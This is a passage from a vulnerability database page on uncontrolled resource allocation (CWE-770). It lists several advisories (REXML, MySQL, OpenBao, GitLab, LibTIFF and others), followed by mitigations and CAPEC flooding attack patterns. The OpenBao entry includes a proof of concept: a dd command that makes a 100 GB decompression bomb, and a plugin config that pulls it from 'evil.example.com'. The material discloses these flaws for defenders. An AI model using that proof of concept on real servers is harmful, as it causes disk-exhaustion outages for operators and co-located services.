"url": "https://github.com/axllent/mailpit/security/advisories/GHSA-r553-m4fv-5v97"
},
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/commit/8720c6bd8281fc00d458081908f1dbef8e59a98c"
},
{
"type": "PACKAGE",
"url": "https://github.com/axllent/mailpit"
},
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/releases/tag/v1.30.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Mailpit: SMTP DATA line reader buffers over-limit input before size enforcement"
}
GHSA-R55C-59QM-VJW6
Vulnerability from github – Published: 2024-08-01 22:05 – Updated: 2025-11-03 22:47Impact
The REXML gem before 3.3.2 has some DoS vulnerabilities when it parses an XML that has many specific characters such as whitespace character, >] and ]>.
If you need to parse untrusted XMLs, you may be impacted to these vulnerabilities.
Patches
The REXML gem 3.3.3 or later include the patches to fix these vulnerabilities.
Workarounds
Don't parse untrusted XMLs.
References
- https://github.com/ruby/rexml/security/advisories/GHSA-vg3r-rm7w-2xgh : This is a similar vulnerability
- https://github.com/ruby/rexml/security/advisories/GHSA-4xqq-m2hx-25v8 : This is a similar vulnerability
- https://www.ruby-lang.org/en/news/2024/08/01/dos-rexml-cve-2024-41123/: An announce on www.ruby-lang.org
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "rexml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.3.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-41123"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2024-08-01T22:05:10Z",
"nvd_published_at": "2024-08-01T15:15:13Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nThe REXML gem before 3.3.2 has some DoS vulnerabilities when it parses an XML that has many specific characters such as whitespace character, `\u003e]` and `]\u003e`.\n\nIf you need to parse untrusted XMLs, you may be impacted to these vulnerabilities.\n\n### Patches\n\nThe REXML gem 3.3.3 or later include the patches to fix these vulnerabilities.\n\n### Workarounds\n\nDon\u0027t parse untrusted XMLs.\n\n### References\n\n* https://github.com/ruby/rexml/security/advisories/GHSA-vg3r-rm7w-2xgh : This is a similar vulnerability\n* https://github.com/ruby/rexml/security/advisories/GHSA-4xqq-m2hx-25v8 : This is a similar vulnerability\n* https://www.ruby-lang.org/en/news/2024/08/01/dos-rexml-cve-2024-41123/: An announce on www.ruby-lang.org",
"id": "GHSA-r55c-59qm-vjw6",
"modified": "2025-11-03T22:47:22Z",
"published": "2024-08-01T22:05:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby/rexml/security/advisories/GHSA-4xqq-m2hx-25v8"
},
{
"type": "WEB",
"url": "https://github.com/ruby/rexml/security/advisories/GHSA-r55c-59qm-vjw6"
},
{
"type": "WEB",
"url": "https://github.com/ruby/rexml/security/advisories/GHSA-vg3r-rm7w-2xgh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41123"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby/rexml"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rexml/CVE-2024-41123.yml"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00011.html"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20241227-0005"
},
{
"type": "WEB",
"url": "https://www.ruby-lang.org/en/news/2024/08/01/dos-rexml-cve-2024-41123"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "REXML DoS vulnerability"
}
GHSA-R5G9-33J7-96VC
Vulnerability from github – Published: 2021-12-01 00:00 – Updated: 2021-12-04 00:01The Bluetooth Classic implementation on Actions ATS2815 chipsets does not properly handle the reception of continuous unsolicited LMP responses, allowing attackers in radio range to trigger a denial of service and shutdown of a device by flooding the target device with LMP_features_res packets.
{
"affected": [],
"aliases": [
"CVE-2021-31787"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-11-30T20:15:00Z",
"severity": "MODERATE"
},
"details": "The Bluetooth Classic implementation on Actions ATS2815 chipsets does not properly handle the reception of continuous unsolicited LMP responses, allowing attackers in radio range to trigger a denial of service and shutdown of a device by flooding the target device with LMP_features_res packets.",
"id": "GHSA-r5g9-33j7-96vc",
"modified": "2021-12-04T00:01:28Z",
"published": "2021-12-01T00:00:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31787"
},
{
"type": "WEB",
"url": "https://dl.packetstormsecurity.net/papers/general/braktooth.pdf"
},
{
"type": "WEB",
"url": "https://launchstudio.bluetooth.com/ListingDetails/76427"
},
{
"type": "WEB",
"url": "https://www.actions-semi.com/index.php?id=3581\u0026siteId=4"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-R5HV-F8CP-QM5F
Vulnerability from github – Published: 2025-01-21 21:30 – Updated: 2025-11-03 21:32Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Parser). Supported versions that are affected are 8.0.40 and prior, 8.4.3 and prior and 9.1.0 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
{
"affected": [],
"aliases": [
"CVE-2025-21522"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-21T21:15:17Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Parser). Supported versions that are affected are 8.0.40 and prior, 8.4.3 and prior and 9.1.0 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).",
"id": "GHSA-r5hv-f8cp-qm5f",
"modified": "2025-11-03T21:32:18Z",
"published": "2025-01-21T21:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21522"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20250131-0004"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2025.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R65V-XGWC-G56J
Vulnerability from github – Published: 2026-04-21 18:24 – Updated: 2026-04-21 18:24Summary
ExtractPluginFromImage() in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via io.Copy with no upper bound on the number of bytes written.
An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file.
The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace legit plugin image with no need to change its signature.
Details
Root cause
helper/pluginutil/oci/downloader.go:301:
if _, copyErr := io.Copy(outFile, tarReader); copyErr != nil {
io.Copy() reads until EOF with no size limit.
The tar header.Size field is never validated before the copy, and mutate.Extract decompresses all gzip layers in memory/streaming, resulting in unbounded decompression-to-disk.
PoC
- Set up a malicious OCI registry
- Create a decompression bomb binary:
bash dd if=/dev/zero bs=1G count=100 > /tmp/bomb-binary - Package it in a minimal OCI image
- Push to the malicious registry
- Configure victim OpenBao to use this registry:
hcl plugin "secrets" "bomb" { image = "evil.example.com/plugin" version = "v1.0.0" binary_name = "openbao-plugin-secrets-bomb" sha256sum = "0000000000000000000000000000000000000000000000000000000000000000" } plugin_auto_download = true - Start OpenBao (or trigger SIGHUP), load OCI image, disk fill -> cause DoS
Impact
- Denial of Service: Disk exhaustion on the OpenBao server
- Cascading failure: Co-located services (databases, other apps) also fail when the disk is full
- Difficult recovery: If the process is killed mid-extraction, the partial file remains on disk and is not cleaned up
- Repeated exploitation: On SIGHUP or restart with plugin_auto_download = true, the bomb is re-downloaded
Remediation
- Validate
header.Sizeagainst a configurable maximum before opening the output file - Wrap
tarReaderinio.LimitReader(tarReader, maxSize+1)and check bytes written after copy - Add a max_size configuration field to PluginConfig for operator control (default: 1 GiB)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/openbao/openbao"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260420180337-2b2a901aa9f7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39396"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-674",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-21T18:24:10Z",
"nvd_published_at": "2026-04-21T01:16:06Z",
"severity": "LOW"
},
"details": "### Summary\n\n`ExtractPluginFromImage()` in OpenBao\u0027s OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via `io.Copy` with no upper bound on the number of bytes written.\nAn attacker who controls or compromises the OCI registry referenced in the victim\u0027s configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file.\n\nThe SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace **legit plugin image** with no need to change its signature.\n\n### Details\n\n#### Root cause\n\n`helper/pluginutil/oci/downloader.go:301`:\n\n```go\nif _, copyErr := io.Copy(outFile, tarReader); copyErr != nil {\n```\n\n`io.Copy()` reads until EOF with no size limit. \nThe tar `header.Size` field is never validated before the copy, and `mutate.Extract` decompresses all gzip layers in memory/streaming, resulting in unbounded decompression-to-disk.\n\n### PoC\n\n1. Set up a malicious OCI registry\n2. Create a decompression bomb binary:\n ```bash\n dd if=/dev/zero bs=1G count=100 \u003e /tmp/bomb-binary\n ```\n3. Package it in a minimal OCI image\n4. Push to the malicious registry\n5. Configure victim OpenBao to use this registry:\n ```hcl\n plugin \"secrets\" \"bomb\" {\n image = \"evil.example.com/plugin\"\n version = \"v1.0.0\"\n binary_name = \"openbao-plugin-secrets-bomb\"\n sha256sum = \"0000000000000000000000000000000000000000000000000000000000000000\"\n }\n plugin_auto_download = true\n ```\n6. Start OpenBao (or trigger SIGHUP), load OCI image, disk fill -\u003e cause DoS\n\n### Impact\n\n- Denial of Service: Disk exhaustion on the OpenBao server\n- Cascading failure: Co-located services (databases, other apps) also fail when the disk is full\n- Difficult recovery: If the process is killed mid-extraction, the partial file remains on disk and is not cleaned up\n- Repeated exploitation: On SIGHUP or restart with plugin_auto_download = true, the bomb is re-downloaded\n\n### Remediation\n\n1. Validate `header.Size` against a configurable maximum before opening the output file\n2. Wrap `tarReader` in `io.LimitReader(tarReader, maxSize+1)` and check bytes written after copy\n3. Add a max_size configuration field to PluginConfig for operator control (default: 1 GiB)",
"id": "GHSA-r65v-xgwc-g56j",
"modified": "2026-04-21T18:24:10Z",
"published": "2026-04-21T18:24:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openbao/openbao/security/advisories/GHSA-r65v-xgwc-g56j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39396"
},
{
"type": "WEB",
"url": "https://github.com/openbao/openbao/pull/2941"
},
{
"type": "WEB",
"url": "https://github.com/openbao/openbao/commit/af576af5322c6552a017ad10fd76aa4f40fd021e"
},
{
"type": "PACKAGE",
"url": "https://github.com/openbao/openbao"
},
{
"type": "WEB",
"url": "https://github.com/openbao/openbao/releases/tag/v2.5.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "OpenBao: Decompression Bomb via Unbounded Copy in OCI Plugin Extraction (DoS)"
}
GHSA-R66M-9F9X-JV46
Vulnerability from github – Published: 2025-06-12 12:32 – Updated: 2025-06-12 12:32An issue has been discovered in GitLab CE/EE affecting all versions from 8.7 before 17.10.8, 17.11 before 17.11.4, and 18.0 before 18.0.2. Improper input validation in Tokens Names could be used to trigger a denial of service.
{
"affected": [],
"aliases": [
"CVE-2025-1516"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-12T10:16:38Z",
"severity": "MODERATE"
},
"details": "An issue has been discovered in GitLab CE/EE affecting all versions from 8.7 before 17.10.8, 17.11 before 17.11.4, and 18.0 before 18.0.2. Improper input validation in Tokens Names could be used to trigger a denial of service.",
"id": "GHSA-r66m-9f9x-jv46",
"modified": "2025-06-12T12:32:03Z",
"published": "2025-06-12T12:32:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1516"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/2991435"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/520553"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R6G8-RRWJ-46Q5
Vulnerability from github – Published: 2022-05-13 01:42 – Updated: 2025-04-20 03:43The TIFFReadDirEntryArray function in tif_read.c in LibTIFF 4.0.8 mishandles memory allocation for short files, which allows remote attackers to cause a denial of service (allocation failure and application crash) in the TIFFFetchStripThing function in tif_dirread.c during a tiff2pdf invocation.
{
"affected": [],
"aliases": [
"CVE-2017-12944"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-08-18T15:29:00Z",
"severity": "HIGH"
},
"details": "The TIFFReadDirEntryArray function in tif_read.c in LibTIFF 4.0.8 mishandles memory allocation for short files, which allows remote attackers to cause a denial of service (allocation failure and application crash) in the TIFFFetchStripThing function in tif_dirread.c during a tiff2pdf invocation.",
"id": "GHSA-r6g8-rrwj-46q5",
"modified": "2025-04-20T03:43:17Z",
"published": "2022-05-13T01:42:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12944"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3602-1"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3606-1"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2018/dsa-4100"
},
{
"type": "WEB",
"url": "http://bugzilla.maptools.org/show_bug.cgi?id=2725"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R6P6-7Q5H-JC4X
Vulnerability from github – Published: 2024-05-23 09:30 – Updated: 2024-05-23 09:30An issue has been discovered in GitLab CE/EE affecting all versions before 16.10.6, version 16.11 before 16.11.3, and 17.0 before 17.0.1. A runner registered with a crafted description has the potential to disrupt the loading of targeted GitLab web resources.
{
"affected": [],
"aliases": [
"CVE-2024-2874"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-23T07:15:08Z",
"severity": "MODERATE"
},
"details": "An issue has been discovered in GitLab CE/EE affecting all versions before 16.10.6, version 16.11 before 16.11.3, and 17.0 before 17.0.1. A runner registered with a crafted description has the potential to disrupt the loading of targeted GitLab web resources.",
"id": "GHSA-r6p6-7q5h-jc4x",
"modified": "2024-05-23T09:30:28Z",
"published": "2024-05-23T09:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2874"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/2426166"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/451911"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.